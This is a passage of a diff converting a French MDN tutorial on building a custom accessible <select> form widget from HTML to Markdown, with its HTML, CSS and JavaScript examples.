définir sa structure HTML et à lui donner une sémantique de base. Voici ce dont nous avons besoin pour reconstruire un élément <select> :</p> +- Quand le widget est ouvert, l'option sélectionnée est mise en valeur +- Quand la souris est sur une option, l'option est mise en valeur et l'option précédemment mise en valeur revient à l'état normal -<pre class="brush: html"><!-- Ceci est notre conteneur principal pour le widget. L'attribut tabindex - est ce qui permet à l'utilisateur de mettre le focus sur le widget. - Nous verrons plus loin que c'est mieux de le faire avec JavaScript. --> -<div class="select" tabindex="0"> +Pour les besoins de notre exemple, nous nous arrêterons là ; cependant, si vous êtes un lecteur attentif, vous remarquerez que certains comportements ne sont pas précisés. Par exemple, que pensez-vous qu'il se passe si l'utilisateur appuie sur la touche Tabulation alors que le widget est dans l'état ouvert ? La réponse est… rien. D'accord, le bon comportement semble évident mais le fait est que, comme il n'est pas défini dans nos spécifications, il est très facile de fermer les yeux sur ce comportement. Dans un travail collaboratif, lorsque les personnes concevant le comportement du widget sont différentes de celles qui le mettent en œuvre, cette démarche se vérifiera. + +Autre exemple amusant : que se passera-t-il si l'utilisateur presse les touches <kbd>↑</kbd> ou <kbd>↓</kbd> alors que le widget est à l'état ouvert ? Ici, c'est un peu plus délicat. Si vous considérez que l'état actif et l'état ouvert sont totalement différents, la réponse est encore une fois « rien ne se produira » parce que nous n'avons pas défini d'interactions clavier pour l'état ouvert. D'autre part, si vous considérez que l'état actif et l'état ouvert coïncident, la valeur peut changer mais l'option ne sera certainement pas mise en valeur en conséquence, encore une fois parce que nous n'avons pas défini d'interactions clavier sur les options lorsque le widget est dans son état ouvert (nous avons seulement défini ce qui doit se passer lorsque le widget est ouvert, mais rien après). + +Dans notre exemple, les spécifications manquantes sont évidentes et nous les traiterons, mais cela peut devenir un problème réel sur de nouveaux widgets exotiques, pour lesquels personne n'a la moindre idée de ce qu'est le bon comportement. Il est donc toujours bon de passer du temps à l'étape conception, car si vous définissez pauvrement le comportement, ou si vous oubliez de le définir, il sera très difficile de le redéfinir une fois les utilisateurs habitués. Si vous avez des doutes, demandez l'avis des autres, et si vous avez le budget pour cela, n'hésitez pas à [faire des tests utilisateur](https://fr.wikipedia.org/wiki/Test_utilisateur). Ce processus est appelé UX Design (**U**ser e**X**perience). Si vous voulez en savoir plus sur ce sujet, vous devriez consulter les ressources utiles suivantes : - <!-- Ce containeur sera utilisé pour afficher la valeur courante du widget --> - <span class="value">Cerise</span> +- [UXMatters.com](http://www.uxmatters.com/) +- [UXDesign.com](http://uxdesign.com/) +- [The UX Design section of SmashingMagazine](http://uxdesign.smashingmagazine.com/) - <!-- Ce conteneur contiendra toutes les options disponibles pour le widget. - Comme c'est une liste, il y sens à utiliser l'élément ul. --> - <ul class="optList"> - <!-- Chaque option ne contient que la valeur à afficher, Nous verrons plus loin - comment gérer la valeur réelle qui sera envoyée avec les données du formulaire --> - <li class="option">Cerise</li> - <li class="option">Citron</li> - <li class="option">Banane</li> - <li class="option">Fraise</li> - <li class="option">Pomme</li> - </ul> +> **Note :** De plus, dans la plupart des systèmes, il y a moyen d'ouvrir l'élément {{HTMLElement("select")}} pour voir tous les choix disponibles (c'est la même chose que de cliquer sur l'élément {{HTMLElement("select")}} avec une souris). Cela se fait avec <kbd>Alt</kbd>+**<kbd>↓</kbd>** sous Windows et n'a pas été implémenté dans notre exemple - mais il serait facile de le faire, car le mécanisme a déjà été implémenté pour l'événement `click`. -</div></pre> +### Definition de la structure HTML et de la sémantique + +Maintenant que la fonctionnalité de base du widget a été décidée, il est temps de commencer à construire notre widget. La première étape consiste à définir sa structure HTML et à lui donner une sémantique de base. Voici ce dont nous avons besoin pour reconstruire un élément \<select> : + +```html +<!-- Ceci est notre conteneur principal pour le widget. L'attribut tabindex + est ce qui permet à l'utilisateur de mettre le focus sur le widget. + Nous verrons plus loin que c'est mieux de le faire avec JavaScript. --> +<div class="select" tabindex="0"> + + <!-- Ce containeur sera utilisé pour afficher la valeur courante du widget --> + <span class="value">Cerise</span> + + <!-- Ce conteneur contiendra toutes les options disponibles pour le widget. + Comme c'est une liste, il y sens à utiliser l'élément ul. --> + <ul class="optList"> + <!-- Chaque option ne contient que la valeur à afficher, Nous verrons plus loin + comment gérer la valeur réelle qui sera envoyée avec les données du formulaire --> + <li class="option">Cerise</li> + <li class="option">Citron</li> + <li class="option">Banane</li> + <li class="option">Fraise</li> + <li class="option">Pomme</li> + </ul> + +</div> +``` -<p>Notez l'utilisation de noms de classes qui identifient chaque partie pertinente indépendamment des éléments HTML sous-jacents utilisés. Ceci est important pour s'assurer que nous n'allons pas lier les CSS et JavaScript à une structure HTML forte, pour pouvoir faire des changements d'implémentation plus tard sans casser le code qui utilise le widget. Par exemple, si vous souhaitez implémenter l'équivalent de l'élément {{HTMLElement("optgroup")}}.</p> +Notez l'utilisation de noms de classes qui identifient chaque partie pertinente indépendamment des éléments HTML sous-jacents utilisés. Ceci est important pour s'assurer que nous n'allons pas lier les CSS et JavaScript à une structure HTML forte, pour pouvoir faire des changements d'implémentation plus tard sans casser le code qui utilise le widget. Par exemple, si vous souhaitez implémenter l'équivalent de l'élément {{HTMLElement("optgroup")}}. -<h3 id="Composition_et_ressenti_avec_les_CSS">Composition et ressenti avec les CSS</h3> +### Composition et ressenti avec les CSS -<p>Maintenant que nous avons une structure, nous pouvons commencer à concevoir notre widget. Le but de construire un widget personnalisé est de pouvoir lui donner exactement le style que nous voulons. Pour cela, nous allons partager le travail sur les CSS en deux parties : la première relative aux règles des CSS absolument nécessaires pour que notre widget se comporte comme un élément {{HTMLElement("select")}}, la seconde constituée des décorations utilisés lui donnant un aspect personnalisé.</p> +Maintenant que nous avons une structure, nous pouvons commencer à concevoir notre widget. Le but de construire un widget personnalisé est de pouvoir lui donner exactement le style que nous voulons. Pour cela, nous allons partager le travail sur les CSS en deux parties : la première relative aux règles des CSS absolument nécessaires pour que notre widget se comporte comme un élément {{HTMLElement("select")}}, la seconde constituée des décorations utilisés lui donnant un aspect personnalisé. -<h4 id="Styles_obligatoires">Styles obligatoires</h4> +#### Styles obligatoires -<p>Les styles obligatoires sont ceux nécessaires à la gestion des trois états du widget.</p> +Les styles obligatoires sont ceux nécessaires à la gestion des trois états du widget. -<pre class="brush: css">.select { +```css +.select { /* Celui-ci crée un contexte de positionnement pour la liste des options */ position: relative; /* Celui-ci fait que le widget devient partie du flot textuel et devient en même temps dimensionnable */ display : inline-block; -}</pre> +} +``` -<p>Nous avons besoin d'une classe <code>active</code> supplémentaire pour définir l'apparence du widget dans son état actif. Comme le widget peut recevoir le focus, nous doublons ce style personnalisé avec la pseudo-classe {{cssxref(":focus")}} afin d'être sûrs qu'elles se comporteront de la même manière.</p> +Nous avons besoin d'une classe `active` supplémentaire pour définir l'apparence du widget dans son état actif. Comme le widget peut recevoir le focus, nous doublons ce style personnalisé avec la pseudo-classe {{cssxref(":focus")}} afin d'être sûrs qu'elles se comporteront de la même manière. -<pre class="brush: css">.select.active, +```css +.select.active, .select:focus { outline: none; @@ -147,11 +142,13 @@ original_slug: >- important de s'assurer que l'état actif soit visible, c'est pourquoi nous utilisons une valeur par défaut. Vous êtes libre de la modifier. */ box-shadow: 0 0 3px 1px #227755; -}</pre> +} +``` -<p>Passons maintenant à la liste des options :</p> +Passons maintenant à la liste des options : -<pre class="brush: css">/* Le sélecteur .select ici est du sucre syntaxique (le fait de donner au +```css +/* Le sélecteur .select ici est du sucre syntaxique (le fait de donner au programmeur des possibilités d'écriture plus succinctes ou plus proches d'une notation usuelle) pour s'assurer que les classes que nous définissons sont les seules à l'intérieur du widget. */ @@ -161,22 +158,26 @@ original_slug: >- position : absolute; top : 100%; left : 0; -}</pre> +} +``` -<p>Nous avons besoin d'une classe supplémentaire pour gérer la liste d'options cachée. Ceci est nécessaire pour la gestion des différences entre état actif et état ouvert qui ne correspondent pas exactement.</p> +Nous avons besoin d'une classe supplémentaire pour gérer la liste d'options cachée. Ceci est nécessaire pour la gestion des différences entre état actif et état ouvert qui ne correspondent pas exactement. -<pre class="brush: css">.select .optList.hidden { +```css +.select .optList.hidden { /* Ceci est un moyen simple pour cacher la liste tout en conservant l'accessibilité, nous reparlerons plus loin d'accessibilité */ max-height: 0; visibility: hidden; -}</pre> +} +``` -<h4 id="Embellissements">Embellissements</h4> +#### Embellissements -<p>Maintenant que nous avons mis en place les fonctionnalités de base, le divertissement peut commencer. Ce qui suit n'est qu'un exemple de ce qui est possible, et correspondra à la capture d'écran au début de cet article. Cependant, vous devriez vous sentir libre d'expérimenter et de voir ce que cela donne.</p> +Maintenant que nous avons mis en place les fonctionnalités de base, le divertissement peut commencer. Ce qui suit n'est qu'un exemple de ce qui est possible, et correspondra à la capture d'écran au début de cet article. Cependant, vous devriez vous sentir libre d'expérimenter et de voir ce que cela donne. -<pre class="brush: css">.select { +```css +.select { /* Toutes les tailles seront exprimées en valeurs em (lettre M, étalon du cadratin : cadre dans lequel sont dessinées toutes les lettres d'une police de caractères) pour des raisons d'accessibilité (pour être sûrs @@ -223,11 +224,12 @@ original_slug: >- /* Et si le contenu déborde, c'est mieux d'avoir une jolie abreviation. */ white-space : nowrap; text-overflow: ellipsis; -</pre> +``` -<p>Nous n'avons pas besoin d'un élément supplémentaire pour concevoir la flèche vers le bas ; à la place, nous utilisons le pseudo-élément {{cssxref(":after:after")}}. Cependant, elle pourrait également être mise en œuvre à l'aide d'une simple image de fond sur la classe <code>select</code>.</p> +Nous n'avons pas besoin d'un élément supplémentaire pour concevoir la flèche vers le bas ; à la place, nous utilisons le pseudo-élément {{cssxref(":after:after")}}. Cependant, elle pourrait également être mise en œuvre à l'aide d'une simple image de fond sur la classe `select`. -<pre class="brush: css">.select:after { +```css +.select:after { content : "▼"; /* Nous utilisons le caractère unicode U+25BC; voir http://www.utf8-chartable.de */ position: absolute; @@ -248,11 +250,13 @@ original_slug: >- background-color : #000; color : #FFF; text-align : center; -}</pre> +} +``` -<p>Maintenant, composons la décoration de la liste des options :</p> +Maintenant, composons la décoration de la liste des options : -<pre class="brush: css">.select .optList { +```css +.select .optList { z-index : 2; /* Nous disons explicitement que la liste des options doit toujours passer sur la flèche */ /* cela réinitialiser le style par défaut de l'élément ul */ @@ -281,109 +285,121 @@ original_slug: >- box-shadow: 0 .2em .4em rgba(0,0,0,.4); /* 0 2px 4px */ background: #f0f0f0; -}</pre> +} +``` -<p>Pour les options, nous devons ajouter une classe <code>highlight</code> pour pouvoir identifier la valeur que l'utilisateur choisira (ou a choisi).</p> +Pour les options, nous devons ajouter une classe `highlight` pour pouvoir identifier la valeur que l'utilisateur choisira (ou a choisi). -<pre class="brush: css">.select .option { +```css +.select .option { padding: .2em .3em; /* 2px 3px */ } .select .highlight { background: #000; color: #FFFFFF; -}</pre> +} +``` -<p>Donc, voici le résultat avec les trois états :</p> +Donc, voici le résultat avec les trois états : <table> - <thead> - <tr> - <th scope="col" style="text-align: center;">Basic state</th> - <th scope="col" style="text-align: center;">Active state</th> - <th scope="col" style="text-align: center;">Open state</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{EmbedLiveSample('Basic_state',120,130, "", "Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Exemple_1")}}</td> - <td>{{EmbedLiveSample("Active_state",120,130, "", "Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Exemple_1")}}</td> - <td>{{EmbedLiveSample("Open_state",120,130, "", "Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Exemple_1")}}</td> - </tr> - <tr> - <td colspan="3" style="text-align: center;"><a href="/fr/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_1" title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_1">Check out the source code</a></td> - </tr> - </tbody> + <thead> + <tr> + <th scope="col" style="text-align: center">Basic state</th> + <th scope="col" style="text-align: center">Active state</th> + <th scope="col" style="text-align: center">Open state</th> + </tr> + </thead> + <tbody> + <tr> + <td> + {{EmbedLiveSample('Basic_state',120,130, "", "Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Exemple_1")}} + </td> + <td> + {{EmbedLiveSample("Active_state",120,130, "", "Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Exemple_1")}} + </td> + <td> + {{EmbedLiveSample("Open_state",120,130, "", "Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Exemple_1")}} + </td> + </tr> + <tr> + <td colspan="3" style="text-align: center"> + <a + href="/fr/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_1" + title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_1" + >Check out the source code</a + > + </td> + </tr> + </tbody> </table> -<h2 id="Donnez_vie_à_votre_widget_avec_JavaScript">Donnez vie à votre widget avec JavaScript</h2> +## Donnez vie à votre widget avec JavaScript -<p>Maintenant que le design et la structure sont prêts, nous pouvons écrire le code JAvaScript pour que le widget fonctionne vraiment.</p> +Maintenant que le design et la structure sont prêts, nous pouvons écrire le code JAvaScript pour que le widget fonctionne vraiment. -<div class="warning"> -<p><strong>Attention :</strong> Le code qui suit a été conçu à des fins éducatives et ne doit pas être utilisé tel quel. Entre autres choses, comme nous le verrons, il n'est pas à l'épreuve du temps et ne fonctionnera pas sur des navigateurs historiques. Il comporte également des parties redondantes. Elles devraient être optimisées pour du code de production.</p> -</div> +> **Attention :** Le code qui suit a été conçu à des fins éducatives et ne doit pas être utilisé tel quel. Entre autres choses, comme nous le verrons, il n'est pas à l'épreuve du temps et ne fonctionnera pas sur des navigateurs historiques. Il comporte également des parties redondantes. Elles devraient être optimisées pour du code de production. -<div class="note"> -<p><strong>Note :</strong> Créer des widgets réutilisables peut se révéler un peu délicat. L'ébauche de la norme « <a href="http://dvcs.w3.org/hg/webcomponents/raw-file/tip/explainer/index.html">W3C Web Component</a> » apporte des réponses à cette question particulière. Le <a href="http://x-tags.org/">projet X-Tag</a> est un essai de mise en œuvre de cette spécification ; nous vous encourageons à y jeter un coup d'œil.</p> -</div> +> **Note :** Créer des widgets réutilisables peut se révéler un peu délicat. L'ébauche de la norme « [W3C Web Component](http://dvcs.w3.org/hg/webcomponents/raw-file/tip/explainer/index.html) » apporte des réponses à cette question particulière. Le [projet X-Tag](http://x-tags.org/) est un essai de mise en œuvre de cette spécification ; nous vous encourageons à y jeter un coup d'œil. + +### Pourquoi ne fonctionne-t-il pas ? + + + +Avant de commencer, il est important de se rappeler quelque chose de très important à propos de JavaScript : dans un navigateur, c'est une technique peu fiable. Lorsque vous créez des widgets personnalisés, vous êtes obligé de faire appel à JavaScript parce que c'est un fil nécessaire pour tout lier ensemble. Cependant, il existe de nombreux cas dans lesquels JavaScript n'est pas capable de s'exécuter dans le navigateur : -<h3 id="Pourquoi_ne_fonctionne-t-il_pas">Pourquoi ne fonctionne-t-il pas ?</h3> +- L'utilisateur a désactivé le JavaScript : c'est un cas assez inhabituel, peu de personnes désactivent le JavaScript de nos jours. +- Le script ne se charge pas. La chose est très courante, en particulier dans le domaine des mobiles pour lesquels le réseau n'est pas sûr. +- Le script est bogué. Il faut toujours prendre en considération cette éventualité. +- Le script est en conflit avec un autre script tierce‑partie. Cela peut se produire avec des suites de scripts ou n'importe quel marque page utilisé par l'utilisateur. +- Le script est en conflit avec, ou est affecté par un extension de navigateur (comme l'extension « [No script](https://addons.mozilla.org/fr/firefox/addon/noscript/) » de Firefox ou « [Scripts »](https://chrome.google.com/webstore/detail/notscripts/odjhifogjcknibkahlpidmdajjpkkcfn) de Chrome). +- L'utilisateur utilise un navigateur ancien et l'une des fonctions dont vous avez besoin n'est pas prise en charge. Cela se produira fréquemment lorsque vous utiliserez des API de pointe.s. -<p> </p> -<p>Avant de commencer, il est important de se rappeler quelque chose de très important à propos de JavaScript : dans un navigateur, c'est une technique peu fiable. Lorsque vous créez des widgets personnalisés, vous êtes obligé de faire appel à JavaScript parce que c'est un fil nécessaire pour tout lier ensemble. Cependant, il existe de nombreux cas dans lesquels JavaScript n'est pas capable de s'exécuter dans le navigateur :</p> -<ul> - <li>L'utilisateur a désactivé le JavaScript : c'est un cas assez inhabituel, peu de personnes désactivent le JavaScript de nos jours.</li> - <li>Le script ne se charge pas. La chose est très courante, en particulier dans le domaine des mobiles pour lesquels le réseau n'est pas sûr.</li> - <li>Le script est bogué. Il faut toujours prendre en considération cette éventualité.</li> - <li>Le script est en conflit avec un autre script tierce‑partie. Cela peut se produire avec des suites de scripts ou n'importe quel marque page utilisé par l'utilisateur.</li> - <li>Le script est en conflit avec, ou est affecté par un extension de navigateur (comme l'extension « <a href="https://addons.mozilla.org/fr/firefox/addon/noscript/">No script</a> » de Firefox ou « <a href="https://chrome.google.com/webstore/detail/notscripts/odjhifogjcknibkahlpidmdajjpkkcfn" rel="external">Scripts »</a> de Chrome).</li> - <li>L'utilisateur utilise un navigateur ancien et l'une des fonctions dont vous avez besoin n'est pas prise en charge. Cela se produira fréquemment lorsque vous utiliserez des API de pointe.s.</li> -</ul> -<p> </p> -<p> </p> +En raison de ces aléas, il est vraiment important de considérer avec sérieux ce qui se passe si JavaScript ne fonctionne pas. Traiter en détail cette question est hors de la portée de cet article parce qu'elle est étroitement liée à la façon dont vous voulez rendre votre script générique et réutilisable, mais nous prendrons en considération les bases de ce sujet dans notre exemple. -<p>En raison de ces aléas, il est vraiment important de considérer avec sérieux ce qui se passe si JavaScript ne fonctionne pas. Traiter en détail cette question est hors de la portée de cet article parce qu'elle est étroitement liée à la façon dont vous voulez rendre votre script générique et réutilisable, mais nous prendrons en considération les bases de ce sujet dans notre exemple.</p> +Ainsi, si notre code JavaScript ne s'exécute pas, nous reviendrons à l'affichage d'un élément {{HTMLElement("select")}} standard. Pour y parvenir, nous avons besoin de deux choses. -<p>Ainsi, si notre code JavaScript ne s'exécute pas, nous reviendrons à l'affichage d'un élément {{HTMLElement("select")}} standard. Pour y parvenir, nous avons besoin de deux choses.</p> +Tout d'abord, nous devons ajouter un élément {{HTMLElement("select")}} régulier avant chaque utilisation de notre widget personnalisé. Ceci est également nécessaire pour pouvoir envoyer les données de notre widget personnalisé avec le reste de nos données du formulaire ; nous reviendrons sur ce point plus tard. -<p>Tout d'abord, nous devons ajouter un élément {{HTMLElement("select")}} régulier avant chaque utilisation de notre widget personnalisé. Ceci est également nécessaire pour pouvoir envoyer les données de notre widget personnalisé avec le reste de nos données du formulaire ; nous reviendrons sur ce point plus tard.</p> -<p> </p> -<pre class="brush: html"><body class="no-widget"> - <form> - <select name="myFruit"> - <option>Cerise</option> - <option>Citron</option> - <option>Banane</option> - <option>Fraise</option> - <option>Pomme</option> - </select> +```html +<body class="no-widget"> + <form> + <select name="myFruit"> + <option>Cerise</option> + <option>Citron</option> + <option>Banane</option> + <option>Fraise</option> + <option>Pomme</option> + </select> - <div class="select"> - <span class="value">Cerise</span> - <ul class="optList hidden"> - <li class="option">Cerise</li> - <li class="option">Citron</li> - <li class="option">Banane</li> - <li class="option">Fraise</li> - <li class="option">Pomme</li> - </ul> - </div> - </form> + <div class="select"> + <span class="value">Cerise</span> + <ul class="optList hidden"> + <li class="option">Cerise</li> + <li class="option">Citron</li> + <li class="option">Banane</li> + <li class="option">Fraise</li> + <li class="option">Pomme</li> + </ul> + </div> + </form> -</body></pre> +</body> +``` -<p> </p> -<p>Deuxièmement, nous avons besoin de deux nouvelles classes pour nous permettre de cacher l'élément qui ne sert pas (c'est-à-dire l'élément{{HTMLElement("select")}} « réel » si notre script ne fonctionne pas, ou le widget personnalisé s'il fonctionne). Notez que par défaut, le code HTML cache le widget personnalisé.</p> -<pre class="brush: css">.widget select, +Deuxièmement, nous avons besoin de deux nouvelles classes pour nous permettre de cacher l'élément qui ne sert pas (c'est-à-dire l'élément{{HTMLElement("select")}} « réel » si notre script ne fonctionne pas, ou le widget personnalisé s'il fonctionne). Notez que par défaut, le code HTML cache le widget personnalisé. + +```css +.widget select, .no-widget .select { /* Ce sélecteur CSS dit fondamentalement : - soit la classe body est "widget" et donc l'élément {{HTMLElement("select")}} réel sera caché @@ -393,73 +409,85 @@ original_slug: >- left : -5000em; height : 0; overflow : hidden; -}</pre> +} +``` + + + +Maintenant nous avons juste besoin d'un commutateur JavaScript pour déterminer si le script est en cours d'exécution ou non. Cette bascule est très simple : si au moment du chargement de la page notre script est en cours d'exécution, il supprime la classe no-widget et ajoute la classe widget, échangeant ainsi la visibilité de l'élément {{HTMLElement("select")}} et du widget personnalisé. -<p> </p> -<p>Maintenant nous avons juste besoin d'un commutateur JavaScript pour déterminer si le script est en cours d'exécution ou non. Cette bascule est très simple : si au moment du chargement de la page notre script est en cours d'exécution, il supprime la classe no-widget et ajoute la classe widget, échangeant ainsi la visibilité de l'élément {{HTMLElement("select")}} et du widget personnalisé.</p> -<p> </p> -<p> </p> -<pre class="brush: js">window.addEventListener("load", function () { +```js +window.addEventListener("load", function () { document.body.classList.remove("no-widget"); document.body.classList.add("widget"); -});</pre> +}); +``` <table> - <thead> - <tr> - <th scope="col" style="text-align: center;">Sans JavaScript</th> - <th scope="col" style="text-align: center;">Avec JavaScript</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{EmbedLiveSample("No_JS",120,130, "", "Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Exemple_2")}}</td> - <td>{{EmbedLiveSample("JS",120,130, "", "Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Exemple_2")}}</td> - </tr> - <tr> - <td colspan="2" style="text-align: center;"><a href="/fr/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_2" title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_2">Testez le code source</a></td> - </tr> - </tbody> + <thead> + <tr> + <th scope="col" style="text-align: center">Sans JavaScript</th> + <th scope="col" style="text-align: center">Avec JavaScript</th> + </tr> + </thead> + <tbody> + <tr> + <td> + {{EmbedLiveSample("No_JS",120,130, "", "Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Exemple_2")}} + </td> + <td> + {{EmbedLiveSample("JS",120,130, "", "Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Exemple_2")}} + </td> + </tr> + <tr> + <td colspan="2" style="text-align: center"> + <a + href="/fr/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_2" + title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_2" + >Testez le code source</a + > + </td> + </tr> + </tbody> </table> -<div class="note"> -<p><strong>Note :</strong> Si vous voulez vraiment rendre votre code générique et réutilisable, au lieu de faire un changement de classe, il est préférable d'ajouter la classe widget pour cacher les éléments {{HTMLElement("select")}} et d'ajouter dynamiquement l'arbre DOM représentant le widget personnalisé après chaque élément {{HTMLElement("select")}} dans la page.</p> -</div> +> **Note :** Si vous voulez vraiment rendre votre code générique et réutilisable, au lieu de faire un changement de classe, il est préférable d'ajouter la classe widget pour cacher les éléments {{HTMLElement("select")}} et d'ajouter dynamiquement l'arbre DOM représentant le widget personnalisé après chaque élément {{HTMLElement("select")}} dans la page. + +### Rendre le travail plus facile -<h3 id="Rendre_le_travail_plus_facile">Rendre le travail plus facile</h3> -<p> </p> -<p>Dans le code que nous sommes sur le point de construire, nous utiliserons l'API standard DOM pour faire tout le travail dont nous avons besoin. Cependant, bien que la prise en charge de l'API DOM se soit améliorée dans les navigateurs, il y a toujours des problèmes avec les anciens navigateurs (surtout avec le bon vieux navigateur Internet Explorer).</p> +Dans le code que nous sommes sur le point de construire, nous utiliserons l'API standard DOM pour faire tout le travail dont nous avons besoin. Cependant, bien que la prise en charge de l'API DOM se soit améliorée dans les navigateurs, il y a toujours des problèmes avec les anciens navigateurs (surtout avec le bon vieux navigateur Internet Explorer). -<p>Si vous voulez éviter les problèmes avec les navigateurs anciens, il y a deux façons de le faire : en utilisant un framework dédié tel que jQuery, $dom, prototype, Dojo, YUI ou similaire, ou bien en remplissant la fonctionnalité manquante que vous voulez utiliser (ce qui peut facilement être fait par un chargement conditionnel, avec la bibliothèque yepnope par exemple).</p> +Si vous voulez éviter les problèmes avec les navigateurs anciens, il y a deux façons de le faire : en utilisant un framework dédié tel que jQuery, $dom, prototype, Dojo, YUI ou similaire, ou bien en remplissant la fonctionnalité manquante que vous voulez utiliser (ce qui peut facilement être fait par un chargement conditionnel, avec la bibliothèque yepnope par exemple). -<p>Les fonctionnalités que nous prévoyons d'utiliser sont les suivantes (classées de la plus risquée à la plus sûre) :</p> +Les fonctionnalités que nous prévoyons d'utiliser sont les suivantes (classées de la plus risquée à la plus sûre) : -<ol> - <li>{{domxref("element.classList","classList")}}</li> - <li>{{domxref("EventTarget.addEventListener","addEventListener")}}</li> - <li><code><a href="/fr/docs/JavaScript/Reference/Global_Objects/Array/forEach" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array/forEach">forEach</a></code> (ce n'est pas du DOM mais du JavaScript moderne)</li> - <li>{{domxref("element.querySelector","querySelector")}} et {{domxref("element.querySelectorAll","querySelectorAll")}}</li> -</ol> +1. {{domxref("element.classList","classList")}} +2. {{domxref("EventTarget.addEventListener","addEventListener")}} +3. [`forEach`](/fr/docs/JavaScript/Reference/Global_Objects/Array/forEach "/en-US/docs/JavaScript/Reference/Global_Objects/Array/forEach") (ce n'est pas du DOM mais du JavaScript moderne) +4. {{domxref("element.querySelector","querySelector")}} et {{domxref("element.querySelectorAll","querySelectorAll")}} -<p>Au-delà de la disponibilité de ces fonctionnalités spécifiques, il reste encore un problème avant de commencer. L'objet retourné par la fonction {{domxref("element.querySelectorAll","querySelectorAll()")}} est une {{domxref("NodeList")}} plutôt qu'un <code><a href="/fr/docs/JavaScript/Reference/Global_Objects/Array" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array">Array</a></code>. C'est important, car les objets <code>Array</code> acceptent la fonction <code><a href="/fr/docs/JavaScript/Reference/Global_Objects/Array/forEach" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array/forEach">forEach</a></code>, mais {{domxref("NodeList")}} ne le fait pas. Comme {{domxref("NodeList")}} ressemble vraiment à un <code>Array</code> et que <code>forEach</code> est d'utilisation si commode, nous pouvons facilement ajouter la prise en charge de <code>forEach à</code> {{domxref("NodeList")}} pour nous faciliter la vie, comme ceci :</p> +Au-delà de la disponibilité de ces fonctionnalités spécifiques, il reste encore un problème avant de commencer. L'objet retourné par la fonction {{domxref("element.querySelectorAll","querySelectorAll()")}} est une {{domxref("NodeList")}} plutôt qu'un [`Array`](/fr/docs/JavaScript/Reference/Global_Objects/Array "/en-US/docs/JavaScript/Reference/Global_Objects/Array"). C'est important, car les objets `Array` acceptent la fonction [`forEach`](/fr/docs/JavaScript/Reference/Global_Objects/Array/forEach "/en-US/docs/JavaScript/Reference/Global_Objects/Array/forEach"), mais {{domxref("NodeList")}} ne le fait pas. Comme {{domxref("NodeList")}} ressemble vraiment à un `Array` et que `forEach` est d'utilisation si commode, nous pouvons facilement ajouter la prise en charge de `forEach à` {{domxref("NodeList")}} pour nous faciliter la vie, comme ceci : -<pre class="brush: js">NodeList.prototype.forEach = function (callback) { +```js +NodeList.prototype.forEach = function (callback) { Array.prototype.forEach.call(this, callback); -}</pre> +} +``` -<p>On ne plaisantait pas quand on a dit que c'était facile à faire.</p> +On ne plaisantait pas quand on a dit que c'était facile à faire. -<h3 id="Construction_des_fonctions_de_rappel_d'événements">Construction des fonctions de rappel d'événements</h3> +### Construction des fonctions de rappel d'événements -<p>Les fondations sont prêtes, nous pouvons maintenant commencer à définir toutes les fonctions à utiliser chaque fois que l'utilisateur interagit avec notre widget.</p> +Les fondations sont prêtes, nous pouvons maintenant commencer à définir toutes les fonctions à utiliser chaque fois que l'utilisateur interagit avec notre widget. -<pre class="brush: js">// Cette fonction est utilisée chaque fois que nous voulons désactiver un +```js +// Cette fonction est utilisée chaque fois que nous voulons désactiver un // widget personnalisé. Elle prend un paramètre // select : le nœud DOM avec la classe select à désactiver function deactivateSelect(select) { @@ -526,13 +554,15 @@ function highlightOption(select, option) { // Mettre en surbrillance l'option correcte option.classList.add('highlight'); -};</pre> +}; +``` -<p>C'est tout ce dont on a besoin pour gérer les différents états du widget personnalisé.</p> +C'est tout ce dont on a besoin pour gérer les différents états du widget personnalisé. -<p>Ensuite, nous assujettissons ces fonctions aux événement appropriés :</p> +Ensuite, nous assujettissons ces fonctions aux événement appropriés : -<pre class="brush: js">// Nous lions le widget aux événements dès le chargement du document +```js +// Nous lions le widget aux événements dès le chargement du document window.addEventListener('load', function () { var selectList = document.querySelectorAll('.select'); @@ -582,37 +612,47 @@ window.addEventListener('load', function () { deactivateSelect(select); }); }); -});</pre> +}); +``` -<p>A ce stade, notre widget change d'état comme nous l'avons conçu, mais sa valeur n'est pas encore mise à jour. On s'en occupera après.</p> +A ce stade, notre widget change d'état comme nous l'avons conçu, mais sa valeur n'est pas encore mise à jour. On s'en occupera après. <table> - <thead> - <tr> - <th scope="col" style="text-align: center;">Exemple en direct</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{EmbedLiveSample("Change_states",120,130, "", "/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Example_3")}}</td> - </tr> - <tr> - <td style="text-align: center;"><a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Example_3" title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_3">Revoir le code source</a></td> - </tr> - </tbody> + <thead> + <tr> + <th scope="col" style="text-align: center">Exemple en direct</th> + </tr> + </thead> + <tbody> + <tr> + <td> + {{EmbedLiveSample("Change_states",120,130, "", 